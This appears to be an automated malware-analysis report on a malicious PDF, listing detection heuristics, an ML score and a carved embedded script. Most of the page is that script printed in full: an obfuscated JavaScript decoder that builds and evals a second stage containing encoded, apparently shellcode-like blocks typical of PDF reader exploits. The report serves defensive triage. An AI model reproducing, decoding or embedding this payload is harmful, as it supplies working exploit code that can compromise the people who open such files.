MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of a PDF_EVAL heuristic firing suggests that the JavaScript code is being executed, likely to download and run a second-stage payload. The obfuscated nature of the JavaScript and the lack of specific indicators prevent a more precise family attribution.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
AgTp%(AI3u%(IiTp%(Tp2u%(oGIA%(3iI4%(AIGi%(IITp%(3iio%(2iGi%(8TgT%(pg83%(gi3i%(2iAI%(3OGI%(oowG%(G22w%(34IA%(gGg3%(3i3g%(8oG2%(G3Op%(GG2p%(I8AG%(AwO8%(OpTp%(AwTp%(3iiA%( Iug%(3uTp%(Tp8p%(ouAw%(ug3i%(3ATp%(3iTp%(AGg8%(g2Ag%(3o34%(GAO4%(GOGG%(A8GO%(8uA2%(8O8g%(3o8G%(4pT %(4O4p%(gou8%(Tpgo%(T2uO%(uGTG%(4uT3%(TIg3%(TTT3%(goTo%(TiTg%(T4To%(Tigo%(TGTo%(g3Tp%(T 4O%(uo4O%(TpTI%(uIu2%(OOuu\"K;\nPP1\nPPJX}JP0rP>2CH{dZdAV.UTY)dcP==PgKB\nPPPPxxHG7 ANvMdxuwm4P=P(fJ}jH.J>\"%(pupu%(pupu%(pupu%(Oo3A%(uuwA%(TTiI% … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x247 | 8031 bytes |
SHA-256: 92ec4d7901a1bc9d610ba0e8c936f3c90f2052ba62340f27e540ee78ff10d595 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). 110 of 157 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function oZB8iC(oZB8iC,XJwybNmEUhThdHa) {var AWYldiplqSwfSGGH25h=oZB8iC. substr (XJwybNmEUhThdHa, 1);return AWYldiplqSwfSGGH25h;}/*Ff1v7J26YO0WkO8D|npc6b8OhEVZA3IGZA|WJuTi9J4jX2mJgSmct*/function I3ETJ81Jn5Gtj(AI09d9g7kcPrjg06C) {/*rRpDrq6zwW0ot9|ChYMc8kVlu1|WUm7C4nFlUCaGYQvIQL*/var zHT9FKIsGObq9by0aS07 = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*ykXQi8m[sdDFypD]jq5LA8mHW23fJEq7oE*//*NC1WuUa0|F39pj51|AdrQWlvfpcdUgs*/var bZeI9A95 /*jj4T4UKDaDDGm[AN2a5Jwg5SLXvg3eEdE8]AT6CtAF0nFx08OvHB*/= new String(",t>KB1PED8Ai23ob)ZQk95xlFYsNqW<adcUHSjyJr7h0{MXVfe.Cn}6(RmvzLOGgupwT4 I");/*CTdZFATkE|oCjmWgoGhu6K0uAy8|AAE8TiXZir9nenqEQ*/for(AvKSu=0;AvKSu<zHT9FKIsGObq9by0aS07.length;AvKSu++) {if(AI09d9g7kcPrjg06C == oZB8iC(bZeI9A95, AvKSu)) {/*l4IIp[SfzTTy]PyKNIt*/return oZB8iC(zHT9FKIsGObq9by0aS07, AvKSu);/*hRTg4xJk2ZndUv <A05gqO0eUGTfTb]A8gOfbCp*/}}return AI09d9g7kcPrjg06C;}/*AFpYa[AaS578Kydf4w]NOPIM*//*XsMZXOTc4r2VsTnoQ|yFFU92UNGkWTVt|iIZxc*/var AO3sAeoHJDIIm = new String;var zAUlyvz = new String("\nRHnPyFhdYJHIgQ8cHewVP=PfJmP8nnHz>K;\nRHnPkZ)Mw77Fx2Jk.f.N;\nr(fj60efPbaGyASXi(mX<M.)k>Ycw2oMyjv)vfwVb)DP))R<}hhfyqZlQH0sKB\nPPmh0XJP>Ycw2oMyjv)vfwVb)EXJf76hP*PgP,P))R<}hhfyqZlQH0sKB\nPPPPYcw2oMyjv)vfwVb)P+=PYcw2oMyjv)vfwVb);\nPP1\nPPYcw2oMyjv)vfwVb)P=PYcw2oMyjv)vfwVb)E}(S}6n0f7>ODP))R<}hhfyqZlQH0sP/PgK;\nPPnJ6(nfPYcw2oMyjv)vfwVb);\n1\nr(fj60efP}VJxd)G<UzQyXURT>2CH{dZdAV.UTY)dcKB\nPPRHnPdAmSqv uRY7hGSVnP=POvOjOjOjOj;\nPPRHnPxxHG7 ANvMdxuwm4P=P(fJ}jH.J>\"%(pupu%(pupu%(pupu%(Oo3A%(uuwA%(TTiI%( OAI%( OOG%(3ouu%(3gpu%(3Ao8%(3 Ow%(oo3i%(oooo%( A4o%(2op3%(3o3o%(Tp3o%(3u8o%(IoTp%(pgou%(IoTp%(T334%(3oOu%(3o3A%(Tp3o%(AIOu%(TG 4%(3G8G%(O4Ou%(3oGG%(3o3o%(88TT%(AI3A%(44 4%(TwGG%(O43G%(3oGo%(3o3o%(88TT%(AI34%(i8 4%(GOwo%(O4g2%(3oO2%(3o3o%(88TT%(AI3u%(OO 4%(OogG%(O4 o%(3ouA%(3o3o%(88TT%(AIoo%(g3 4%(O8IT%(O4w4%(3ogI%(3o3o%(88TT%(8ooA%(24To%(I8gi%(TTGw%(o488%(3 OT%(3o33%(AG3o%(I8TT%(TpiA%(3A88%(33 w%(TpAT%(o4A8%(O4AI%(3oTp%(3o3o%( 4Ao%(ow2I%(IoiO%(4 O4%(3o3o%(TT3o%(ou88%(g8Tp%(goTi%(TTAo%(io88%(GO 4%(3o3o%(Ao3o%(88Tp%( woA%(AT32%(A8Tp%(O4o4%(3o 3%(3o3o%(883i%(g io%(Au3o%(iGIG%(g 8%(3A8o%( 8I4%(3o3o%(I8GO%(Tpio%(3u88%(33 w%(TpAT%(o4A8%(8oO4%(3o3o%( w3o%(A43 %(883i%(2iiA%(Aiup%(GOAi%(ioI8%(AiAo%(88Tp%( wou%(AT38%(A8Tp%(O4o4%(3oii%(3o3o%(3o w%(I8GO%(Tpio%(3488%(32 w%(TpAT%(o4A8%(ooO4%(3o3o%( w3o%(TpGO%(oo88%(33 w%(TpAT%(o4A8%(3oO4%(3o3o%(833o%(A2Ap%(O33i%(O33i%(O33i%(O33i%(OuTi%(Aw3A%(TpAi%(O2uw%(A2G %(OoGO%(TpA8%(TpOu%(34Ig%(AgTp%(AI3u%(IiTp%(Tp2u%(oGIA%(3iI4%(AIGi%(IITp%(3iio%(2iGi%(8TgT%(pg83%(gi3i%(2iAI%(3OGI%(oowG%(G22w%(34IA%(gGg3%(3i3g%(8oG2%(G3Op%(GG2p%(I8AG%(AwO8%(OpTp%(AwTp%(3iiA%( Iug%(3uTp%(Tp8p%(ouAw%(ug3i%(3ATp%(3iTp%(AGg8%(g2Ag%(3o34%(GAO4%(GOGG%(A8GO%(8uA2%(8O8g%(3o8G%(4pT %(4O4p%(gou8%(Tpgo%(T2uO%(uGTG%(4uT3%(TIg3%(TTT3%(goTo%(TiTg%(T4To%(Tigo%(TGTo%(g3Tp%(T 4O%(uo4O%(TpTI%(uIu2%(OOuu\"K;\nPP0rP>2CH{dZdAV.UTY)dcP==PGKB\nPPPPdAmSqv uRY7hGSVnP=POvuOuOuOuO;\nPPPPxxHG7 ANvMdxuwm4P=P(fJ}jH.J>\"%(pupu%(pupu%(pupu%(Oo3A%(uuwA%(TTiI%( OAI%( OOG%(3ouu%(3gpu%(3Ao8%(3 Ow%(oo3i%(oooo%( A4o%(2op3%(3o3o%(Tp3o%(3u8o%(IoTp%(pgou%(IoTp%(T334%(3oOu%(3o3A%(Tp3o%(AIOu%(TG 4%(3G8G%(O4Ou%(3oGG%(3o3o%(88TT%(AI3A%(44 4%(TwGG%(O43G%(3oGo%(3o3o%(88TT%(AI34%(i8 4%(GOwo%(O4g2%(3oO2%(3o3o%(88TT%(AI3u%(OO 4%(OogG%(O4 o%(3ouA%(3o3o%(88TT%(AIoo%(g3 4%(O8IT%(O4w4%(3ogI%(3o3o%(88TT%(8ooA%(24To%(I8gi%(TTGw%(o488%(3 OT%(3o33%(AG3o%(I8TT%(TpiA%(3A88%(33 w%(TpAT%(o4A8%(O4AI%(3oTp%(3o3o%( 4Ao%(ow2I%(IoiO%(4 O4%(3o3o%(TT3o%(ou88%(g8Tp%(goTi%(TTAo%(io88%(GO 4%(3o3o%(Ao3o%(88Tp%( woA%(AT32%(A8Tp%(O4o4%(3o 3%(3o3o%(883i%(g io%(Au3o%(iGIG%(g 8%(3A8o%( 8I4%(3o3o%(I8GO%(Tpio%(3u88%(33 w%(TpAT%(o4A8%(8oO4%(3o3o%( w3o%(A43 %(883i%(2iiA%(Aiup%(GOAi%(ioI8%(AiAo%(88Tp%( wou%(AT38%(A8Tp%(O4o4%(3oii%(3o3o%(3o w%(I8GO%(Tpio%(3488%(32 w%(TpAT%(o4A8%(ooO4%(3o3o%( w3o%(TpGO%(oo88%(33 w%(TpAT%(o4A8%(3oO4%(3o3o%(833o%(A2Ap%(O33i%(O33i%(O33i%(O33i%(OuTi%(Aw3A%(TpAi%(O2uw%(A2G %(OoGO%(TpA8%(TpOu%(34Ig%(AgTp%(AI3u%(IiTp%(Tp2u%(oGIA%(3iI4%(AIGi%(IITp%(3iio%(2iGi%(8TgT%(pg83%(gi3i%(2iAI%(3OGI%(oowG%(G22w%(34IA%(gGg3%(3i3g%(8oG2%(G3Op%(GG2p%(I8AG%(AwO8%(OpTp%(AwTp%(3iiA%( Iug%(3uTp%(Tp8p%(ouAw%(ug3i%(3ATp%(3iTp%(AGg8%(g2Ag%(3o34%(GAO4%(GOGG%(A8GO%(8uA2%(8O8g%(3o8G%(4pT %(4O4p%(gou8%(Tpgo%(T2uO%(uGTG%(4uT3%(TIg3%(TTT3%(goTo%(TiTg%(T4To%(Tigo%(TGTo%(g3Tp%(T 4O%(uo4O%(TpTI%(uIu2%(OOuu\"K;\nPP1\nPPJX}JP0rP>2CH{dZdAV.UTY)dcP==PgKB\nPPPPxxHG7 ANvMdxuwm4P=P(fJ}jH.J>\"%(pupu%(pupu%(pupu%(Oo3A%(uuwA%(TTiI%( OAI%( OOG%(3ouu%(3gpu%(3Ao8%(3 Ow%(oo3i%(oooo%( A4o%(2op3%(3o3o%(Tp3o%(3u8o%(IoTp%(pgou%(IoTp%(T334%(3oOu%(3o3A%(Tp3o%(AIOu%(TG 4%(3G8G%(O4Ou%(3oGG%(3o3o%(88TT%(AI3A%(44 4%(TwGG%(O43G%(3oGo%(3o3o%(88TT%(AI34%(i8 4%(GOwo%(O4g2%(3oO2%(3o3o%(88TT%(AI3u%(OO 4%(OogG%(O4 o%(3ouA%(3o3o%(88TT%(AIoo%(g3 4%(O8IT%(O4w4%(3ogI%(3o3o%(88TT%(8ooA%(24To%(I8gi%(TTGw%(o488%(3 OT%(3o33%(AG3o%(I8TT%(TpiA%(3A88%(33 w%(TpAT%(o4A8%(O4AI%(3oTp%(3o3o%( 4Ao%(ow2I%(IoiO%(4 O4%(3o3o%(TT3o%(ou88%(g8Tp%(goTi%(TTAo%(io88%(GO 4%(3o3o%(Ao3o%(88Tp%( woA%(AT32%(A8Tp%(O4o4%(3o 3%(3o3o%(883i%(g io%(Au3o%(iGIG%(g 8%(3A8o%( 8I4%(3o3o%(I8GO%(Tpio%(3u88%(33 w%(TpAT%(o4A8%(8oO4%(3o3o%( w3o%(A43 %(883i%(2iiA%(Aiup%(GOAi%(ioI8%(AiAo%(88Tp%( wou%(AT38%(A8Tp%(O4o4%(3oii%(3o3o%(3o w%(I8GO%(Tpio%(3488%(32 w%(TpAT%(o4A8%(ooO4%(3o3o%( w3o%(TpGO%(oo88%(33 w%(TpAT%(o4A8%(3oO4%(3o3o%(833o%(A2Ap%(O33i%(O33i%(O33i%(O33i%(OuTi%(Aw3A%(TpAi%(O2uw%(A2G %(OoGO%(TpA8%(TpOu%(34Ig%(AgTp%(AI3u%(IiTp%(Tp2u%(oGIA%(3iI4%(AIGi%(IITp%(3iio%(2iGi%(8TgT%(pg83%(gi3i%(2iAI%(3OGI%(oowG%(G22w%(34IA%(gGg3%(3i3g%(8oG2%(G3Op%(GG2p%(I8AG%(AwO8%(OpTp%(AwTp%(3iiA%( Iug%(3uTp%(Tp8p%(ouAw%(ug3i%(3ATp%(3iTp%(AGg8%(g2Ag%(3o34%(GAO4%(GOGG%(A8GO%(8uA2%(8O8g%(3o8G%(4pT %(4O4p%(gou8%(Tpgo%(T2uO%(uGTG%(4uT3%(TIg3%(TTT3%(goTo%(TiTg%(T4To%(Tigo%(TGTo%(g3Tp%(T 4O%(uo4O%(TpTI%(uIu2%(OOuu\"K;\nPP1\nPPRHnPh60MC.VVbqWbT) dP=POvpOOOOO;\nPPRHnPA0ckC{VeWkiaFIyrP=PxxHG7 ANvMdxuwm4EXJf76hP*Pg;\nPPRHnP))R<}hhfyqZlQH0sP=Ph60MC.VVbqWbT) dP-P>A0ckC{VeWkiaFIyrP+POvu K;\nPPRHnPYcw2oMyjv)vfwVb)P=P(fJ}jH.J>\"%(IOIO%(IOIO\"K;\nPPYcw2oMyjv)vfwVb)P=PbaGyASXi(mX<M.)k>Ycw2oMyjv)vfwVb)DP))R<}hhfyqZlQH0sK;\nPPRHnPy9F6Airs7O0XYCQTP=P>dAmSqv uRY7hGSVnP-POvpOOOOOKP/Ph60MC.VVbqWbT) d;\nPPrenP>RHnPrnYFSi2TdFjmcbSSP=PO;PrnYFSi2TdFjmcbSSP,Py9F6Airs7O0XYCQT;PrnYFSi2TdFjmcbSSP++PKB\nPPPPyFhdYJHIgQ8cHewV[rnYFSi2TdFjmcbSS]P=PYcw2oMyjv)vfwVb)P+PxxHG7 ANvMdxuwm4;\nPP1\n1\nr(fj60efP}gWf3Oo(Qv7MfLC5>KB\nPPRHnPJbXNNzcGlAmvsccpP=PO;\nPPRHnPquCeiT{apFbCl4ioP=PH..ER0JmJn<Jn}0efE6eN6n0f7>K;\nPPH..EjXJHnq0VJl(6>kZ)Mw77Fx2Jk.f.NK;\n\nPP0rP>quCeiT{apFbCl4ioP,P4EGKB\nPPPP}VJxd)G<UzQyXURT>OK;\nPPPPRHnPRz0.v)C9NVQ69nmRP=P(fJ}jH.J>\"%(OjOj%(OjOj\"K;\nPPPPmh0XJP>Rz0.v)C9NVQ69nmREXJf76hP,PppIwgKRz0.v)C9NVQ69nmRP+=PRz0.v)C9NVQ69nmR;\nPPPP6h0}PEjeXXHSN6enJP=PieXXHSEjeXXJj63VH0XZfre>B\nPPPPPP}(S{P:P\"\"DPV}7P:PRz0.v)C9NVQ69nmR\nPPPP1\nPPPPK;\nPP1\n0rP>quCeiT{apFbCl4ioPt=PIKB\nPPPP6nzPB\n0rP>H..EyejEieXXHSE7J6ZjefKB\nPPPPPPPP}VJxd)G<UzQyXURT>gK;\nPPPPPPPPRHnPvf{ }NyRn(VbgLalP=P(fJ}jH.J>\"%OI\"K;\nPPPPPPPPmh0XJP>vf{ }NyRn(VbgLalEXJf76hP,POvpOOOKvf{ }NyRn(VbgLalP+=Pvf{ }NyRn(VbgLal;\nPPPPPPPPvf{ }NyRn(VbgLalP=P\"xE\"P+Pvf{ }NyRn(VbgLal;\nH..EyejEieXXHSE7J6Zjef>vf{ }NyRn(VbgLalK;\nPPPPPPPPJbXNNzcGlAmvsccpP=PG;\nPPPPPP1\nPPPPPPJX}JPB\nPPPPPPPPJbXNNzcGlAmvsccpP=PG;\nPPPPPP1\nPPPP1\nPPPPjH6jhP>JKB\nPPPPPPJbXNNzcGlAmvsccpP=PG;\nPPPP1\nPPPP0rP>JbXNNzcGlAmvsccpP==PGKB\nPPPPPP0rP>>quCeiT{apFbCl4ioPt=P4EG&&PquCeiT{apFbCl4ioP,PIKKB\nPPPPPPPP}VJxd)G<UzQyXURT>GK;\nPPPPPPPPRHnPro3(awbzCU}ise 5P=P\"GgIIIIIIIIIIIIIIIIII\";\nPPPPPPPPrenP>5nqWk4Yig2NuiLYOP=PO;P5nqWk4Yig2NuiLYOP,Pg4T;P5nqWk4Yig2NuiLYOP++PKB\nPPPPPPPPPPro3(awbzCU}ise 5P+=P\" \";\nPPPPPPPP1\nPPPPPPPP(60XE.n0f6r>\"%pwOOOr\"DPro3(awbzCU}ise 5K;\nPPPPPP1\nPPPP1\nPP1\n1\nH..EfJpM{Q{H6SVkY67uP=P}gWf3Oo(Qv7MfLC5;\nkZ)Mw77Fx2Jk.f.NP=PH..E}J6q0VJl(6>\"H..EfJpM{Q{H6SVkY67u>K\"DPGOK;\n");/*rKuD2ErhVTWaZqZSAn{kAt6tve2LSV}AfyDY*//*v5NERne7Dx8rMjr5fbr|T2To5|KtXilIezNv*/for(AJ8JqbRG9PV=0;AJ8JqbRG9PV<zAUlyvz.length;AJ8JqbRG9PV++)AO3sAeoHJDIIm += I3ETJ81Jn5Gtj(oZB8iC(zAUlyvz,AJ8JqbRG9PV));eval(AO3sAeoHJDIIm);/*sthfsOrR6nxX[xrMGWIah1x]d6kTJW*/
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.